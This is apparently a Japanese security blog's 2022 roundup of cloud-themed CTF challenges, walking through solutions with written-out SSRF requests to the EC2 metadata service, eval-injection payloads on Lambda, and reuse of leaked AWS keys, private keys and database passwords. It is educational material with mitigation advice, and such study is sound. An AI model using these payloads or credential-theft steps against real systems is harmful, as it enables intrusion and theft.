blog of morioka12

morioka12のブログ (Security Blog)

CTF Cloud 問題の攻撃手法まとめ(2022年版)

1. はじめに

こんにちは、morioka12 です。

本稿では、CTFtime のイベントに記載されている2022年に開催された CTF のイベントで、Cloud に関する問題をピックアップして攻撃手法やセキュリティ視点での特徴について紹介します。

また、昨年の2021年版は以下で紹介していますので、良ければこちらもご覧ください。

昨年のブログでは、各サービスにセキュリティ的な視点で紹介しましたが、今回は説明が重複するため、各問題に焦点を当てて大まかに紹介します。

scgajge12.hatenablog.com


1.1 調査対象

今回の対象となる CTF イベントは、以下のような条件で全て調査しています。

  • 2022年1月1日~12月31日の期間にオンライン形式で開催されている
  • CTFtime のイベントに記載されている
  • Cloud 問題、もしくは Web 問題で Cloud に関する要素を取り入れている問題


2. Cloud 環境におけるセキュリティ視点

Cloud 環境に対して、攻撃者は主に以下のようなセキュリティ視点があります。

  • 脆弱性攻撃によるクレデンシャルの取得
  • 設定不備による機微な情報やクレデンシャルの取得
  • ハードコードされたクレデンシャルの取得
  • ログファイルに含まれるクレデンシャルの取得

これらのように、なんだかの方法で Cloud 環境のクレデンシャルを取得できた場合、更なる環境への侵害や情報漏洩に繋がる可能性があります。

また、Cloud に関する要素を取り入れている CTF の問題を解く上でも、それらの視点は似たように活かせると思います。

今回はそれらの視点を踏まえて、2022年に出題された Cloud に関する問題を紹介します。


2.1 脆弱性攻撃によるクレデンシャルの取得

Amazon EC2

nullcon Goa HackIM CTF 2022 の「Request for Knowledge」では、EC2 の Web アプリケーションに対して脆弱性攻撃を行う問題でした。

実際に問題にアクセスすると、ディレクトリ探索やパラメーター列挙から始まります。

FFUF などを用いて情報収集すると、/request というディレクトリや url というパラメーターがあることがわかります。

例えば、http://3.64.214.139/request?url=http://google.com のようにアクセスすると、Google のページが表示されることが確認できます。

その結果から、 SSRF (Server Side Request Forgery) による脆弱性攻撃が可能と推測できます。

EC2 上の Web アプリケーションに対して SSRF が行える場合、メタデータサーバーからクレデンシャルを取得できる可能性があります。

実際に以下のようにアクセスすると、EC2 に付与された IAM ロールを取得することができました。

http://3.64.214.139/request?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2_role

今回の問題の場合、enumerate-iam などを用いて入手した IAM の権限を調べても現状許可されたアクセス先は特にありませんでした。

しかし、メタデータサーバーのユーザーデータにアクセスすると、インスタンスのプロビジョニングの内容を取得することができました。

$ curl http://3.64.214.139/request?url=http://169.254.169.254/latest/user-data
#!/usr/bin/bash
sudo apt update
sudo apt install -y docker.io net-tools curl
sleep 5
sudo useradd -m -s /usr/bin/bash -u 1337 ec2nullconadmin
sudo mkdir /home/ec2nullconadmin/.ssh
sudo echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcjVtTWufmom054OxYi2tnNKGX/f01pu2awD6U6VNoaHNHEMfBinmzYp11SzFz4b5ugumv1J8D3EO5ewyVk3eJahfQSbjBCUSNP/ZZMjQI9ppudnIBMN286whVDtAgQmLES7RfYRU0nszB2d2wcgH7FtG6T+Ip7MKHggCaUxZ7OULWly5dmdQlJr/0gQGd6Zp+AyOPoAWds//6YNADc+7X1ZAAwpfTlC+ETnbFZr0Aeip3n6PX5qMP25SFwvHBJrjm88mdnKR66Tf4sZKmmI3kO/Kdqbz6Vouxr2cP+ipVWoDi2m5MGxgn1TtkeYICoZjvkcBMLwIWOuCsRDVvGuXX" >> /home/ec2nullconadmin/.ssh/authorized_keys
sudo chown ec2nullconadmin:ec2nullconadmin /home/ec2nullconadmin/.ssh /home/ec2nullconadmin/.ssh/authorized_keys
sudo chmod 700 /home/ec2nullconadmin/.ssh
sudo chmod 600 /home/ec2nullconadmin/.ssh/authorized_keys

sudo docker run -d -p 80:80 fjse3983mr9mfv90s/eprounf923382fnd9po823

これらの内容から、SSH の公開鍵や Docker コンテナのイメージ名などを取得することができました。

ここから Docker コンテナのイメージを深ぼって有益な情報を探します。

$ docker pull fjse3983mr9mfv90s/eprounf923382fnd9po823

$ docker history fjse3983mr9mfv90s/eprounf923382fnd9po823 --no-trunc
IMAGE                                                                     CREATED        CREATED BY                                                                                                             SIZE      COMMENT
sha256:41f78828616db4e360be8cb6d9e544558b200c07a79da33af7b08c4c3ebfcba8   2 days ago     /bin/sh -c #(nop)  ENTRYPOINT ["/var/www/run_server.sh"]                                                               0B        
<missing>                                                                 2 days ago     /bin/sh -c #(nop)  USER www-data                                                                                       0B        
<missing>                                                                 2 days ago     |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c chmod +x webserver.py run_server.sh                                       2.92kB    
<missing>                                                                 2 days ago     /bin/sh -c #(nop) COPY file:d18145652dcb9d7acb8c68df502199cd9952d847d2f23e5ca7740e161291383e in .                      105B      
<missing>                                                                 2 days ago     /bin/sh -c #(nop) COPY file:574edbfc0b168afa97571efabc8ba639ad730ca41a29cf43cdbb1bc178f60a1b in .                      2.81kB    
<missing>                                                                 2 months ago   /bin/sh -c #(nop) WORKDIR /var/www/                                                                                    0B        
<missing>                                                                 2 months ago   |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c pip3 install -U flask requests boto3                                      85.4MB    
<missing>                                                                 2 months ago   |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c apt update && apt install -y python3 python3-pip iputils-ping curl wget   375MB     
<missing>                                                                 2 months ago   /bin/sh -c #(nop)  ARG DEBIAN_FRONTEND=noninteractive                                                                  0B        
<missing>                                                                 3 months ago   /bin/sh -c #(nop)  CMD ["bash"]                                                                                        0B        
<missing>                                                                 3 months ago   /bin/sh -c #(nop) ADD file:7009ad0ee0bbe5ed7f381792e07347e260e6896aeee0d80597808065120fa96b in /                       72.8MB   

コンテナイメージを調べると webserver.py というファイルがあることがわかり、ダウンロードして中身を確認します。

... 
    # Add loading db credentials from secrets manager
    #get_secret_value_response = boto3.client("secretsmanager", region_name="eu-central-1").get_secret_value(SecretId="database_pw")   
    #if 'SecretString' in get_secret_value_response:
    #    secret = get_secret_value_response['SecretString']["database_pw"]
    #TODO: implement database backend. Use the key webserver-private-key for direct access to the server

    return f"{script}{image1}{html1}{link1}{calc_input}"

@app.route('/request')
def req_page():
    url = request.args.get("url", "http://example.com")
    res = req.get(url)
    return res.text
 ...

すると、コメントアウトから get_secret_value_response['SecretString']["database_pw"] とあり、AWS Secrets Manager にデータベースのパスワードが含まれていることが推測できます。

そのため、以下のようにして入手した IAM と ハードコードされた SecretId を指定して AWS Secrets Manager から中身を確認してみると、flag を取得することができました。

$  aws secretsmanager get-secret-value --secret-id database_pw
{
    "ARN": "arn:aws:secretsmanager:eu-central-1:743296330440:secret:database_pw-dObJHD",
    "Name": "database_pw",
    "VersionId": "c0ae0a5e-2ece-453d-bc5a-9df73716d144",
    "SecretString": "{\"database_pw\":\"ENO{P5555T_Can_y0u_k33p_4_S3CRET}\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2022-08-11T22:51:09.716000+03:00"
}

このような実装が実際にあった場合、以下のような対策を行うことをおすすめします。

  • EC2 上で動く Web アプリケーションの脆弱性対策を適切に行う
  • EC2 インスタンスに対して IMDSv2 (Instance Metadata Service v2) を有効にする


また、この問題には続きの問題「Cloud Na(t)ive」の flag にも繋がっていたので、そちらも少し紹介します。

先ほどのコメントアウトから、Use the key webserver-private-key for direct access to the server とあり、webserver-private-key を指定して AWS Secrets Manager から中身を確認してみます。

$  aws secretsmanager get-secret-value --secret-id webserver-private-key                                                                              
{
    "ARN": "arn:aws:secretsmanager:eu-central-1:743296330440:secret:webserver-private-key-EF74VV",
    "Name": "webserver-private-key",
    "VersionId": "d47bca13-b170-402e-b85c-abb8545c83df",
    "SecretString": "{\"webserver-private-key\":\"-----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAnI1bU1rn5qJtOeDsWItrZzShl/39NabtmsA+lOlTaGhzRxDH wYp5s2KddUsxc+G+boLpr9SfA9xDuXsMlZN3iWoX0Em4wQlEjT/2WTI0CPaabnZy ATDdvOsIVQ7QIEJixEu0X2EVNJ7MwdndsHIB+xbRuk/iKezCh4IAmlMWezlC1pcu XZnUJSa/9IEBnemafgMjj6AFnbP/+mDQA3Pu19WQAMKX05QvhE52xWa9AHoqd5+j 1+ajD9uUhcLxwSa45vPJnZykeuk3+LGSppiN5Dvynam8+laLsa9nD/oqVVqA4tpu TBsYJ9U7ZHmCAqGY75HATC8CFjrgrEQ1bxrl1wIDAQABAoIBAGowA6MthSDOSbI5 m3aP0uElNPqooCjVOlN+VLSi8x1dw9uPST9BEz2XBWC7CScmFwpUp/fJC7cNn65f BXErnqhJmy9/4d6lz6bTnOBxihQOWT/V/YxLPgxXi8ZODuPiw6WMCCOt8TlJAW/3 vERjgG500vtCFhED9AsAJjKHazdW1eZVf5C8jUQLlgAOGDswoBCAFEfz+jt+JawM XQtMMpc/oIuYFYDd6XRDjJaF9o/fjriL4THs5GM/DTr6+6Tijut5cWFnAd1BdGMz vFUwljZEoNKkFxyXrXgCdo3qsqHSzIq2WXjYTrpgCpdPTG1xALkQv+qHmTCowydD Wpkz0okCgYEA3GBsWEfQe6iZcvj81QF2APmh0IlKJmqvZiDQVn8cEY/Y7LTRHZmZ AlWO9xG5zTpBoCsCVnJezSHFl9TmRmDdCSI64qZmADVFzCPjzQRn6bafMr91iWRB tgQToDd7NYUHyKljAiQ1mQ7loFVXVfBvdrGFzcQm5sjWxxQV2qlyqGUCgYEAtdvD biFH1ALlbz0KWVmvDZHPH+Wp6/yxMaolO2jGJdW8JqfbeN+ZRgORXvfIY4Xwfjpg 28ZZPRmKOkDTyR8eeo/WFs+6brCVvAC1eN+sIfb3lASrBTetVeVa3uviePi4IbCb aKLTuKLltNQAd4USXGsVkJmNkhECYlomLYEGq4sCgYAxP8M2v2XSHM2eKhKmr5rl gOQurF/L0g+8rRyiF+n36sO5sncBPHA7W0+F24pAWQKNfs8Y7ppNEX0M/2Eu3TrI bcPnHvSwmzcr9eFU0eU/D7boKm1j9OnSeXrBVWTNgxtINsKPmfP4bqHWgPvxkrf2 OJoEcA+Zh8yn1M9FfJTJGQKBgBJn6LK3yZZKqMAGdIqwiggcjtMSoo0Q6To2l0gZ BZ0EseNTr+He95tfdxIej/iKsNmFvRHhVFzbveLBdu3vKV2MO0XZxmu3kaASjktq j/hsD4i6pDiF9xQvf2/6fdRyj+hRAJmpiTYxvn/7yQRPwpj5+ZfGAs8ay5v6tcx7 N5qbAoGAYHt15ijLFX+IDo9Gn6iTSVkrIyTKLaxcnY+w5NOFcAiCmyhgcIraR8fb KWLGh5Un5vFctIeYQFELOAwhqes+1/AQ5sVytS6XfxJxuln9wt30+q/L+wKztRov CmXUqxq+YvN39U0irSw9B+eOFR3oMXjM3QQwvrMsqxMdi7TZJ6A= -----END RSA PRIVATE KEY-----\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2022-08-11T02:54:58.374000+03:00"
}

すると、秘密鍵を取得することができました。

以前にメタデータサーバーのユーザーデータから SSH の公開鍵は入手してましたが、この秘密鍵ec2nullconadmin に対して SSH 接続できる状態になりました。

実際に SSH で接続して、インスタンス内を調べると次の flag も取得することができました。

$ ssh -i cloud.key ec2nullconadmin@3.64.214.139

ec2nullconadmin@ip-10-0-1-102:~$ ls -all
total 48
drwxr-xr-x 7 ec2nullconadmin ec2nullconadmin 4096 Aug 13 16:19 .
drwxr-xr-x 4 root            root            4096 Aug 11 20:26 ..
drwxr-xr-x 2 root            root            4096 Aug 11 20:34 .aws
lrwxrwxrwx 1 ec2nullconadmin ec2nullconadmin    9 Aug 13 16:14 .bash_history -> /dev/null
-rw-r--r-- 1 ec2nullconadmin ec2nullconadmin  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ec2nullconadmin ec2nullconadmin 3771 Feb 25  2020 .bashrc
drwx------ 2 ec2nullconadmin ec2nullconadmin 4096 Aug 11 20:28 .cache
drwx------ 3 ec2nullconadmin ec2nullconadmin 4096 Aug 13 16:12 .config
drwxrwxr-x 3 ec2nullconadmin ec2nullconadmin 4096 Aug 13 16:12 .local
-rw-r--r-- 1 ec2nullconadmin ec2nullconadmin  807 Feb 25  2020 .profile
-rw-rw-r-- 1 ec2nullconadmin ec2nullconadmin   66 Aug 13 16:12 .selected_editor
drwx------ 2 ec2nullconadmin ec2nullconadmin 4096 Aug 11 20:26 .ssh
-rw------- 1 ec2nullconadmin ec2nullconadmin  819 Aug 13 16:19 .viminfo

ec2nullconadmin@ip-10-0-1-102:~$ cat .aws/credentials 
[flag]
aws_access_key_id = AKIA22D7J5LEJWNH7NXR
aws_secret_access_key = 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

ec2nullconadmin@ip-10-0-1-102:~$ aws sts get-caller-identity --profile=flag
{
    "UserId": "AIDA22D7J5LEJYPCNY63H",
    "Account": "743296330440",
    "Arn": "arn:aws:iam::743296330440:user/ENO-Y0uR0ck_Docker_Escapes_with0ut_Root"
}


AWS Lambda

nullcon Goa HackIM CTF 2022 の「Cloud Cloud 9*9」では、Lambda 関数に対して脆弱性攻撃を行う問題でした。

実際に問題にアクセスすると、計算機能がある Web アプリケーションで、入力した数式の結果を JSON で表示する仕様でした。

$ curl -s -X POST -H "Content-Type: application/json" -d '{"input":"[9*9]"}' http://3.64.214.139/calc
{"result": [81]}

適当な文字列を挿入すると、以下のようなエラーが返ってきて、Python で書かれたソースコードが Lambda で動いていることが確認できます。

 ... "stackTrace":["  File \"/var/task/lambda-function.py\", line 5, in lambda_handler\n    'result' : eval(event['input'])\n"]

さらに、入力値が eval() に受け渡されていると推測できるため、以下のような OS Command Injection の Payload を POST リクエストに挿入してリクエストします。

{"input":"__import__('os').popen('ls').read()"}

すると、レスポンスは以下のようになり、Lambda 上で任意のコマンドが実行できていることが確認できます。

{"result": "lambda-function.py\n"}

次に cat コマンドで lambda-function.py ファイルの中身を見てみると、S3 バケット名の記載があり、その中に flag があることがわかります。

import json

def lambda_handler(event, context): 
    return { 
        'result' : eval(event['input'])
        #flag in nullcon-s3bucket-flag4 ......
    }

ただし、そのまま S3 バケットにアクセスしても、アクセス権限がないため、権限のある IAM を入手する必要があります。

Lambda は付与された IAM を環境変数に格納しています。

そのため、Lambda 上で env コマンドなどが実行できる場合、Lambda の環境変数から IAM ロールを取得することができます。

実際に、以下のようにすることで Lambda 関数に付与された IAM ロールを取得することができ、それを活用して指定の S3 バケットAWS CLI を用いてアクセスすることができます。

{"input":"__import__('os').popen('env').read()"}

ちなみに IAM ロールを AWS CLI で使用する場合、AWS_SESSION_TOKENAWS_SECRET_ACCESS_KEYAWS_ACCESS_KEY_ID の3つを設定する必要があります。

IAM ロールを自身の環境にセットして AWS CLI を用いて対象の S3 バケットにアクセスした結果、flag を取得することができました。

$ aws s3 ls s3://nullcon-s3bucket-flag4
2022-08-12 05:27:20         40 flag4.txt

$ aws s3 cp s3://nullcon-s3bucket-flag4/flag4.txt .
download: s3://nullcon-s3bucket-flag4/flag4.txt to ./flag4.txt   

$ cat flag4.txt
ENO{L4mbda_make5_yu0_THINK_OF_ENVeryone}

また、今回の場合、Lambda 関数には AWS SDK for Python がインストールされていたため、boto3 をそのまま活用して、直接任意コードで S3 バケットにアクセスし、S3 バケットの中にある任意のファイルを取得することもできました。

$ curl -s -X POST -H "Content-Type: application/json" -d "{\"input\":\"[item['Key'] for item in __import__('boto3').client('s3').list_objects(Bucket='nullcon-s3bucket-flag4')['Contents']]\"}" http://3.64.214.139/calc
{"result": ["flag4.txt"]}

$ curl -s -X POST -H "Content-Type: application/json" -d "{\"input\":\"__import__('boto3').client('s3').get_object(Bucket='nullcon-s3bucket-flag4',Key='flag4.txt')['Body'].read()\"}" http://3.64.214.139/calc
{"result": "ENO{L4mbda_make5_yu0_THINK_OF_ENVeryone}"}

このような実装が実際にあった場合、以下のような対策を行うことをおすすめします。


2.2 設定不備やハードコーディングによるクレデンシャルの取得

Amazon S3

nullcon Goa HackIM CTF 2022 の「More than meets the eye」では、S3 バケットのアクセス制御の不備に関する問題でした。

実際に問題にアクセスすると、Web サイトに S3 に格納された画像が埋め込まれていることが確認できます。

https://nullcon-static-content-public-bucket.s3.eu-central-1.amazonaws.com/sec-consult.svg

そのまま S3 バケットnullcon-static-content-public-bucket にアクセスすると、ファイルの一覧を閲覧することができ、.boto というファイルがあることがわかります。

.boto ファイルにアクセスすると、IAM のクレデンシャルを取得することができました。

[Credentials]
aws_access_key_id = AKIA22D7J5LELFTREN7Z
aws_secret_access_key = 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

そこから AWS CLI を用いて IAM の情報を確認すると、flag を取得することができました。

$ aws sts get-caller-identity
{
    "UserId": "AIDA22D7J5LEH4OZQJF3U",
    "Account": "743296330440",
    "Arn": "arn:aws:iam::743296330440:user/ENO-W0W_sO_M4ny_Pu8l1c_F1leS"
}

このような実装が実際にあった場合、以下のような対策を行うことをおすすめします。

  • S3 バケットのアクセス制御を適切に行う
  • S3 バケット内にクレデンシャルを含めないようにする


Amazon RDS

Hacky Holidays - Unlock the City の「Cloud Escalator Part 1」では、RDS に関する問題でした。

実際に問題にアクセスすると、ログイン画面のある Web サイトがあり /forgotpassword.htmlソースコードを見ると、以下のようなコードがありました。

function errorMessage() {
  var error = document.getElementById("error")
  if (isNaN(document.getElementById("number").value))
  {
   
   // Complete the connection to mysqldb 
   //  escalator.c45luksaam7a.us-east-1.rds.amazonaws.com
   //   Use credential allen:8%pZ-s^Z+P4d=h@P
   error.textContent = "Under Construction"
   error.style.color = "red"
  } else {
   error.textContent = "Under Construction"
  }
 }

コメントアウトから、RDS 先の情報と MySQL のクレデンシャルを取得することができます。

入手した情報を元に、RDS にある MySQL のデータベースにアクセスして、データベース内を調査します。

$ mysql -u allen -p 8%pZ-s^Z+P4d=h@P -h escalator.c45luksaam7a.us-east-1.rds.amazonaws.com

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| accounts           |
| config             |
| env                |
| innodb             |
| mysql              |
| sys                |
| users              |
+--------------------+

MySQL [users]> show tables;
+-----------------+
| Tables_in_users |
+-----------------+
| data            |
| employees       |
| employees_login |
+-----------------+
3 rows in set (0.009 sec)

MySQL [users]> select * from data;
+------------------------+
| flag                   |
+------------------------+
| CTF{!_p@wn3d_db_4_fu9} |
+------------------------+
1 row in set (0.010 sec)

データベース内を調べると、そのまま flag を取得することができました。


また、この問題には続きの問題の flag にも繋がっていたので、さらにデータベース内を調査してみます。

MySQL [(none)]> use config;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [config]> show tables;
+------------------+
| Tables_in_config |
+------------------+
| aws_env          |
+------------------+
1 row in set (0.009 sec)

MySQL [config]> select * from aws_env;
+---------+----------------------+------------------------------------------+
| user    | access_key           | secret                                   |
+---------+----------------------+------------------------------------------+
| s3user1 | AKIAWSXCCGNYFS7NN2XU | m6zD41qMXR4KlcyjXAIxdYrDm0YczPIiyi1p9P0I |
+---------+----------------------+------------------------------------------+

すると、AWS のクレデンシャルを取得することができました。

そこから自身の環境にクレデンシャルをセットして、IAM の User 名から推測し、S3 のバケットなど調べます。

$aws s3 ls 
2022-06-20 10:07:37 escalator-logger-armour

$aws s3 ls s3://escalator-logger-armour
                           PRE new/
2022-07-15 04:27:35      11351 Logs.txt

$aws s3 cp s3://escalator-logger-armour/Logs.txt Logs.txt
download: s3://escalator-logger-armour/Logs.txt to ./Logs.txt

すると、Logs.txt というファイルがあり、中身を確認すると Tomcat のログファイルで、その中から flag を取得することができました。

 ...
23-Jun-2022 12:50:31.561 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR capabilities: CTF{S3eing_T3r0ugh_!t}
 ...


また、この問題にはさらに続きの問題の flag にも繋がっていたので、ログファイルを深く調査してみます。

 ...
[44] 23-Jun-2022 12:50:31.551 ERROR [main] unable to pull update from github.com/cloudhopper-sec/app.git
 ...

すると、cloudhopper-sec という GitHub リポジトリがあることがわかります。

先ほど RDS のデータベースを調べた際に env という データベースがあったため、その中を調べてみます。

MySQL [env]> select * from git;
deploy_key
+------
---+
 -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gt
[TRUNCATED FOR BLOG]
xzEXSds9RclFAAAAEHRlc3RAZXhhbXBsZS5jb20BAg==
-----END OPENSSH PRIVATE KEY----- |

すると、秘密鍵を取得することができました。

取得した秘密鍵を自身の環境にセットして、GitHub リポジトリにあるコードを取得します。

[~/.ssh/config]
Host github.com-repo-0
 Hostname github.com
 IdentityFile=/root/.ssh/cloud.rsa

$git clone git@github.com-repo-0:cloudhopper-sec/app.git

クローンすると Java ファイルをダウンロードすることができ、ソースコードを調べると以下のように USERNAMEPASSWORD が空欄であることがわかります。

//[CookieHandler.java]
public class CookieHandler {
private static final String LOGIN_COOKIE_NAME = "LoggedIn";
private static final String USERNAME = "";
private static final String PASSWORD = "";
[LoginServlet.java]
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
   String userName = request.getParameter("uname");
   String password = request.getParameter("password");
...
if(CookieHandler.verifyLogin(userName, password)){
            response.addCookie(CookieHandler.setLoggedInCookie());
...

Git Log などを調べてみると、以前はハードコードされていた USERNAMEPASSWORD の内容を取得することができました。

$ git diff HEAD HEAD~1

diff --git a/src/main/java/com/cloudEscalator/util/CookieHandler.java b/src/main/java/com/cloudEscalator/util/CookieHandler.java
index f787547..a7a0b8c 100644
--- a/src/main/java/com/cloudEscalator/util/CookieHandler.java
+++ b/src/main/java/com/cloudEscalator/util/CookieHandler.java
@@ -9,8 +9,8 @@ import java.util.Optional;

public class CookieHandler {
    private static final String LOGIN_COOKIE_NAME = "LoggedIn";
-    private static final String USERNAME = "";
-    private static final String PASSWORD = "";
+    private static final String USERNAME = "admin";
+    private static final String PASSWORD = "C@llTh3PluMM3r";

    private static final String SHA256_LOGIN_HASH = Hashing.sha256()
            .hashString(USERNAME+PASSWORD, StandardCharsets.UTF_8)

これらを元に、元々の Web アプリケーションのログイン画面からログインして、flag を取得することができました。


これらの問題のように、AWS などの Cloud 環境は、一つの侵害から様々な手段を用いて攻撃者に侵入される可能性があることが考えられます。

このような実装が実際にあった場合、以下のような対策を行うことをおすすめします。

  • データベースのパスワードなどのクレデンシャルをハードコードしないようにする
    • AWS Secrets Manager を活用する
  • Git Log にユーザーのパスワードなどのクレデンシャルを残さないようにする


AWS IAM

TetCTF 2022 の「picked onions」では、IAM の設定不備に関する問題でした。

実際に問題にアクセスすると、ログイン画面やタブのある Web サイトが表示されます。

Web サイトに埋め込まれている画像が S3 バケット上にあることがわかり、S3 バケットに直接アクセスするとファイルの一覧が閲覧できます。

https://secret-tetctf.s3.us-east-1.amazonaws.com/I%27ve_Got_a_Secret.jpg

その中に secret というファイルがあり、ダウンロードして中身を見てみると、Python で書かれたソースコードを得ることができました。

https://secret-tetctf.s3.us-east-1.amazonaws.com/secret
#!/usr/bin/python3
import json
import boto3
import base64
import pickle
from flask import *

app = Flask(__name__)

@app.route('/')
def index():
        return render_template('index.html')

@app.route('/login',methods=["GET","POST"])
def login():
        if request.method=="POST":
                return render_template('login.html',msg='Invalid Credentials')
        else:
                return render_template('login.html',msg='')

@app.route('/secret')
def env():
    return render_template('secret.html')

@app.route('/services')
def services():
        return render_template('services.html')

@app.route('/customers')
def customers():
        dynamodb = boto3.resource('dynamodb', region_name='us-east-1',aws_access_key_id='AKIAXNIS54OCBQD5C4ME',aws_secret_access_key='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')
        table = dynamodb.Table('customers')
        response = table.scan()
        data=[]
        for i in response["Items"]:
                print (i)
                i=base64.b64decode(i["data"])
                i=pickle.loads(i)
                print (i)
                data.append(i)
        return render_template('customers.html',data=data)

app.run('0.0.0.0',9000)

ソースコードから DynamoDB のクレデンシャルがハードコードされていて、クレデンシャルを取得することができました。

それを自身の環境にセットして、データベースの customers テーブルにアクセスします。

$ aws dynamodb scan --table-name customers
{
    "Items": [
        {
            "Id": {
                "N": "3"
            },
            "data": {
                "S": "gASVKgAAAAAAAAB9lCiMBG5hbWWUjAtNeSBGcmllbmQgM5SMBGRlc2OUjAZNZW1iZXKUdS4="
            }
        },
        {
            "Id": {
                "N": "2"
            },
            "data": {
                "S": "gASVKgAAAAAAAAB9lCiMBG5hbWWUjAtNeSBGcmllbmQgMpSMBGRlc2OUjAZNZW1iZXKUdS4="
            }
        },
        {
            "Id": {
                "N": "4"
            },
            "data": {
                "S": "gASVKgAAAAAAAAB9lCiMBG5hbWWUjAtNeSBGcmllbmQgNJSMBGRlc2OUjAZNZW1iZXKUdS4="
            }
        },
        {
            "Id": {
                "N": "1"
            },
            "data": {
                "S": "gASVKwAAAAAAAAB9lCiMBG5hbWWUjAtNeSBGcmllbmQgMZSMBGRlc2OUjAdDYXB0YWlulHUu"
            }
        }
    ],
    "Count": 4,
    "ScannedCount": 4,
    "ConsumedCapacity": null
}

しかし、DynamoDB のデータベースからは有益な情報は得ることができませんでした。

次に enumerate-iam などを用いて、入手した IAM の権限を調査します。

すると、出力に iam.list_roles() worked! とあるため、IAM ロールの一覧を取得してみます。

$ aws iam list-roles
{
    "Roles": [
        {
            "Path": "/aws-service-role/dynamodb.application-autoscaling.amazonaws.com/",
            "RoleName": "AWSServiceRoleForApplicationAutoScaling_DynamoDBTable",
            "RoleId": "AROAXNIS54OCPKGBTFMFC",
            "Arn": "arn:aws:iam::509530203012:role/aws-service-role/dynamodb.application-autoscaling.amazonaws.com/AWSServiceRoleForApplicationAutoScaling_DynamoDBTable",
            "CreateDate": "2021-12-29T15:04:01Z",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "dynamodb.application-autoscaling.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/organizations.amazonaws.com/",
            "RoleName": "AWSServiceRoleForOrganizations",
            "RoleId": "AROAXNIS54OCIRKGIPOQD",
            "Arn": "arn:aws:iam::509530203012:role/aws-service-role/organizations.amazonaws.com/AWSServiceRoleForOrganizations",
            "CreateDate": "2021-04-13T22:25:04Z",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "organizations.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Service-linked role used by AWS Organizations to enable integration of other AWS services with Organizations.",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/sso.amazonaws.com/",
            "RoleName": "AWSServiceRoleForSSO",
            "RoleId": "AROAXNIS54OCC5ALWKJR4",
            "Arn": "arn:aws:iam::509530203012:role/aws-service-role/sso.amazonaws.com/AWSServiceRoleForSSO",
            "CreateDate": "2021-04-13T22:25:09Z",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "sso.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Service-linked role used by AWS SSO to manage AWS resources, including IAM roles, policies and SAML IdP on your behalf.",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/support.amazonaws.com/",
            "RoleName": "AWSServiceRoleForSupport",
            "RoleId": "AROAXNIS54OCDJMOEFYMQ",
            "Arn": "arn:aws:iam::509530203012:role/aws-service-role/support.amazonaws.com/AWSServiceRoleForSupport",
            "CreateDate": "2020-12-10T21:59:31Z",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "support.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Enables resource access for AWS to provide billing, administrative and support services",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/trustedadvisor.amazonaws.com/",
            "RoleName": "AWSServiceRoleForTrustedAdvisor",
            "RoleId": "AROAXNIS54OCJF7JTFONU",
            "Arn": "arn:aws:iam::509530203012:role/aws-service-role/trustedadvisor.amazonaws.com/AWSServiceRoleForTrustedAdvisor",
            "CreateDate": "2020-12-10T21:59:31Z",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "trustedadvisor.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Access for the AWS Trusted Advisor Service to help reduce cost, increase performance, and improve security of your AWS environment.",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "CTF_ROLE",
            "RoleId": "AROAXNIS54OCL3NLUWKHX",
            "Arn": "arn:aws:iam::509530203012:role/CTF_ROLE",
            "CreateDate": "2021-12-29T15:30:56Z",
            "AssumeRolePolicyDocument": {
                "Version": "2008-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "AWS": "*"
                        },
                        "Action": "sts:AssumeRole",
                        "Condition": {
                            "StringLike": {
                                "aws:PrincipalArn": "arn:aws:iam::*:role/*-Accessing_Tet_CTF_Flag*"
                            }
                        }
                    }
                ]
            },
            "Description": "CTF_ROLE",
            "MaxSessionDuration": 3600
        }
    ]
}

結果を見てみると、CTF_ROLE の Principal にワイルドカード (*) が設定されていて、Action には sts:AssumeRole が付与されていることがわかります。

ただし、Condition で arn:aws:iam::*:role/*-Accessing_Tet_CTF_Flag* となっているため、悪用するには誰かの AWS アカウントでこの条件に当てはまるロールを作成する必要があります。

この入手した IAM には IAM ロールの作成権限はないため、自前の AWS アカウントで条件に当てはまるように作成します。

$ aws iam create-role --role-name morioka12-Accessing_Tet_CTF_Flag1 --assume-role-policy-document file://policy.json
{
